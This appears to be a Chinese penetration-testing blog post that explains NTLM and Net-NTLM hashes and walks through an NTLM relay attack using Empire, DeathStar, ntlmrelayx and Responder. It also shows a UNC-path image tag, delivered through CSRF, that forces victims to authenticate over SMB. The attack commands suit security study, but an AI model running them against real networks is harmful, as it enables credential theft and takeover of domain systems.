基础知识



NTLN和Net-NTLM


1、NTLM(V1/V2)的hash是存放在安全账户管理(SAM)数据库以及域控的NTDS.dit数据库中,获取该Hash值可以直接进行PtH攻击,我博客中前文也有介绍过。

2、Net-NTLM(V1/V2)的hash值是基于用户的NT的hash值经过一定的算法产生的。

#NTLM-Hash
aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 前面是LMhash后面是NT的Hash
#Net-NTLM-Hash
admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030

NTLM认证攻击的原理


说到底,在使用一些服务的过程中,需要带有windows的自身的认证信息,其实就是Net-NTLM的Hash,而这些东西你可以使用像Responder或者Inveigh这些工具获得。然后你获取了这个Net-NTLM的Hash,就可以转给真正的验证服务器去验证,从而作为攻击者的你就可以通过真实的服务器的身份验证,这种攻击方式就称作NTLM中继攻击。

攻击场景


控制受害者访问一个站点(不存在的最好),你作为攻击者对此作出应答,认证信息会传到你的攻击者的机器上,你对此再做转发,去真实的服务器上认证,即可获取真正服务器的权限。

攻击流程



攻击准备


  • Kali(Ubuntu) 攻击笔记本一台
  • Windows客户端一台
  • Windows服务器一台

攻击工具


启动Empire


1、启动Empire的RestFUL-API

内网渗透中的NTLM-Hash Relay-LMLPHP

2、然后创建powershell脚本

launcher powershell DeathStar

内网渗透中的NTLM-Hash Relay-LMLPHP

3、打开DeathStar

root@kali:~/DeathStar# ./DeathStar.py --listener-ip kali_ip -t 100 -u admin -p admin

内网渗透中的NTLM-Hash Relay-LMLPHP

4、开启中继

ntlmrelayx.py -t target_ip(例如域控) -c 'powershell脚本生成的内容'

内网渗透中的NTLM-Hash Relay-LMLPHP

5、打开Responder.py

先修改文件(Responder.py):

内网渗透中的NTLM-Hash Relay-LMLPHP

然后

python Responder.py -I eth0 -r -d –v

内网渗透中的NTLM-Hash Relay-LMLPHP

6、结果

内网渗透中的NTLM-Hash Relay-LMLPHP

可以看出中继是认证成功的,但是rpc调用失败了,因为权限不够。

扩展-使用CSRF控制客户端去请求:


在浏览器沙箱不断发展的几天,很多伪协议或者文件协议的访问方式都已经被禁止了,但是SMB依然可以

<img src='\\WIN-8JQH4CQEJIR\User\img\1.jpg'>

这样就可以实现控制的访问。

05-07 15:27